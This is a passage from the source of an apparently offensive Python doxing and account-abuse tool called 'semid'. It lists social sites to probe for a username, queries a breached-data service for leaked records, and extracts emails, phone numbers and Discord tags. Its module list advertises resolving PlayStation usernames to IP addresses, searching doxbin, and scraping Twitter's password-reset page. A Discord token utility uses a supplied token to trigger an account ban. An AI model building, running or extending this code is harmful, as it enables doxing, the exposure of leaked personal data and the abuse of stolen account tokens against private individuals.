"status", 44 | "status": 404 45 | }, 46 | { 47 | "url": "https://vsco.co/{name}/gallery", 48 | "name": "vsco", 49 | "type":"status", 50 | "status": 404 51 | }, 52 | { 53 | "url": "https://www.instagram.com/{name}/", 54 | "name": "instagram", 55 | "type": "status", 56 | "status": 404 57 | }, 58 | { 59 | "url": "https://www.snapchat.com/add/{name}", 60 | "name": "snapchat", 61 | "type": "status", 62 | "status": 404 63 | }, 64 | { 65 | "url": "https://twoucan.com/profile/{name}", 66 | "name": "twoucan", 67 | "type":"status", 68 | "status": 404 69 | }, 70 | { 71 | "url": "https://steamcommunity.com/id/{name}/", 72 | "name": "steam", 73 | "type":"message", 74 | "msg": "The specified profile could not be found." 75 | }, 76 | { 77 | "url": "https://www.influenster.com/{name}/", 78 | "name": "influenster", 79 | "type":"status", 80 | "status": 404 81 | }, 82 | { 83 | "url": "https://vimeo.com/{name}", 84 | "name": "vime", 85 | "type": "status", 86 | "status": 404 87 | }, 88 | { 89 | "url": "https://ello.co/{name}", 90 | "name": "ello", 91 | "type": "status", 92 | "status":404 93 | }, 94 | { 95 | "url": "https://soundcloud.com/{name}", 96 | "name": "soundcloud", 97 | "type": "status", 98 | "status":404 99 | }, 100 | { 101 | "url": "https://www.pinterest.com/{name}/", 102 | "name": "pinterest", 103 | "type": "status", 104 | "status": 404 105 | } 106 | ] -------------------------------------------------------------------------------- /semid/util/__init__.py: -------------------------------------------------------------------------------- 1 | from .console import * 2 | from .modules import * 3 | from .token import * 4 | from .search import * -------------------------------------------------------------------------------- /semid/util/console.py: -------------------------------------------------------------------------------- 1 | import ctypes, textwrap, os 2 | class Console: 3 | @staticmethod 4 | def color(text) -> str: 5 | try: 6 | text = str(text) 7 | except: 8 | pass 9 | return "\033[96m{}\033[0m".format(text) 10 | 11 | def set_title(title:str) -> bool: 12 | import sys 13 | sys.stdout.flush() 14 | if os.name == "nt": 15 | return ctypes.windll.kernel32.SetConsoleTitleA(title.encode()) 16 | else: 17 | return print("\x1b]0;"+title, end="\a") 18 | def center(text:str) -> str: 19 | lines = textwrap.wrap(text) 20 | return "\n".join(line.center(100) for line in lines) 21 | def red(text:str) -> str: 22 | return f"\033[31m{text}\033[0m" 23 | def green(text:str) -> str: 24 | return f"\033[32m{text}\033[0m" 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /semid/util/modules.py: -------------------------------------------------------------------------------- 1 | import semid.modules 2 | from semid.util.console import Console 3 | import sys 4 | 5 | 6 | class Modules: 7 | @staticmethod 8 | def get_module_by_name(name:str, func:str): 9 | try: 10 | funct = getattr(sys.modules[name.lower()], func.lower()) 11 | return funct 12 | except: 13 | raise Exception() 14 | def get_function_syntax(module:str, function:str) -> str: 15 | function = function + "syntax" 16 | funct = getattr(sys.modules[module.lower()], function.lower())() 17 | return funct 18 | def list_modules(): 19 | text = """ 20 | SEMID ALL MODULES 21 | Module Name Function Name Description 22 | 23 | tiktok search Searches through a users tiktok profile 24 | and through all their videos for information 25 | such as discord tag, email and phone number. 26 | 27 | socials search Searches for a users social media by the 28 | username provided. Currently only looks 29 | for linktree, but will be updated shortly 30 | 31 | playstation searchusername Sends a request to PS Resolver's api 32 | which returns an IP Address if found 33 | 34 | playstation searchip Sends a request to PS Resolver's api and 35 | gets Username if one is found. 36 | 37 | discord tokeninfo Gets all information about the token by 38 | sending requests to the discord api. 39 | 40 | discord tokenonliner Makes all the tokens from a provided file 41 | online by connecting them directly to 42 | Discord's websocket. 43 | 44 | discord disabletoken Disables the given token by sending invalid 45 | requests to the discord api. 46 | 47 | doxbin search Searches provided username on doxbin and 48 | returns the urls if found. 49 | 50 | twitter search Scrapes twitter forgot password page and 51 | returns twitter account + email/phone if found 52 | 53 | github search Sends a requests to the github api with given 54 | username, and returns all info about the account. 55 | """ 56 | print(Console.color(text)) 57 | 58 | 59 | -------------------------------------------------------------------------------- /semid/util/search.py: -------------------------------------------------------------------------------- 1 | import requests, bs4, re, json 2 | from semid.util.console import Console 3 | import semid 4 | 5 | class Google: 6 | @staticmethod 7 | def search(what:str, i:int) -> list: 8 | i += 1 9 | if i > 10: return [(None, None)] 10 | """ DuckDuckGo search """ 11 | def req(what): 12 | res = requests.post("https://lite.duckduckgo.com/lite/", headers={ 13 | "accept": "*/*", 14 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", 15 | "referer": "https://lite.duckduckgo.com/", 16 | "origin": "https://lite.duckduckgo.com" 17 | }, data={ 18 | "q": what, 19 | "dt": None, 20 | "kl": None 21 | }) 22 | return res 23 | 24 | res = req(what) 25 | if res.status_code == 403: 26 | req("nice cat") 27 | return Google.search(what, i) 28 | 29 | soup = bs4.BeautifulSoup(res.text, "html.parser") 30 | 31 | return [(found["href"], found.text) for found in soup.find_all("a", {"rel": "nofollow"})] 32 | class Regex: 33 | @staticmethod 34 | def search(stringdata:str) -> str: 35 | c = Console.red("|") 36 | email = "[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}" 37 | discord = """[a-z_A-Z0-9_#!@#$%^&*()_+\-=\[\]{};':"\\|,.<>\/?]{1,32}#[0-9]{4}""" 38 | phone = "^(\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]\d{3}[\s.-]\d{4}$" 39 | eml = re.compile(email) 40 | dcrd = re.compile(discord) 41 | phn = re.compile(phone) 42 | emails = eml.findall(stringdata) 43 | discords = dcrd.findall(stringdata) 44 | phones = phn.findall(stringdata) 45 | returnstring = "" 46 | for mail in emails: 47 | returnstring += f"""{c} Possible Email: {mail}\n""" 48 | for tag in discords: 49 | returnstring += f"""{c} Possible Discord: {tag}\n""" 50 | for nr in phones: 51 | returnstring += f"""{c} Possible Phone: {nr}\n""" 52 | return [returnstring, emails] 53 | class WeLeak: 54 | @staticmethod 55 | def search(what): 56 | returnstring = "" 57 | res = requests.get(f"https://api.weleakinfo.to/api?value={what}&type=email&key={semid.__app__.config['WeLeakInfo']}") 58 | res = json.loads(res.text) 59 | if res["success"] != False: 60 | for result in res["result"]: 61 | if result != None: 62 | returnstring += f"""Potential Leak: {result["line"]}\n""" 63 | return returnstring -------------------------------------------------------------------------------- /semid/util/token.py: -------------------------------------------------------------------------------- 1 | import base64, requests 2 | 3 | class TokenUtil: 4 | @staticmethod 5 | def disableToken(token): 6 | res = requests.post("https://discord.com/api/invites/discord-testers", headers={"authorization": token}) 7 | if res.status_code != 200: 8 | return print("Invalid token.") 9 | ids = ["280712677909594113", "280712677909594113","280712677909594113","280712677909594113", "280712677909594113","280712677909594113","280712677909594113","280712677909594113","280712677909594113","280712677909594113"] 10 | for id in ids: 11 | requests.post("https://discord.com/api/users/@me/channels", data={"recipient_id": id}, headers={"authorization": token, "user-agent": "somerandomuseragent lmfao"}) 12 | 13 | def validateToken(token:str): 14 | try: 15 | b64:str = token.split(".")[0] 16 | except: 17 | raise TypeError 18 | b64bytes = b64.encode("ascii") 19 | strbytes = base64.b64decode(b64bytes) 20 | userid = strbytes.decode("ascii") 21 | try: 22 | int(userid) 23 | except ValueError: 24 | raise TypeError 25 | def calcfriends(fr:list) -> list: 26 | validf = [] 27 | raref = [] 28 | for f in fr: 29 | if f["type"] == 1: 30 | validf.append(f) 31 | for f in validf: 32 | b = TokenUtil.getRBadges(f["user"]["public_flags"]) 33 | if b != "": 34 | raref.append(b + f' {f["user"]["username"]}#{f["user"]["discriminator"]}') 35 | return raref 36 | def getRBadges(flags:int): 37 | Discord_Employee = 1 38 | Partnered_Server_Owner = 2 39 | HypeSquad_Events = 4 40 | Bug_Hunter_Level_1 = 8 41 | Early_Supporter = 512 42 | Bug_Hunter_Level_2 = 16384 43 | Early_Verified_Bot_Developer = 131072 44 | badges = "" 45 | if(flags & Discord_Employee) == Discord_Employee: 46 | badges += "Discord Staff, " 47 | if(flags & Partnered_Server_Owner) == Partnered_Server_Owner: 48 | badges += "Partner, " 49 | if(flags & HypeSquad_Events) == HypeSquad_Events: 50 | badges += "HypeSquad Events, " 51 | if(flags & Bug_Hunter_Level_1) == Bug_Hunter_Level_1: 52 | badges += "Bughunter LVL 1, " 53 | if(flags & Early_Supporter) == Early_Supporter: 54 | badges += "Early Supporter, " 55 | if(flags & Bug_Hunter_Level_2) == Bug_Hunter_Level_2: 56 | badges += "Bughunter LVL 2, " 57 | if(flags & Early_Verified_Bot_Developer) == Early_Verified_Bot_Developer: 58 | badges += "Early Bot Developer, " 59 | return badges --------------------------------------------------------------------------------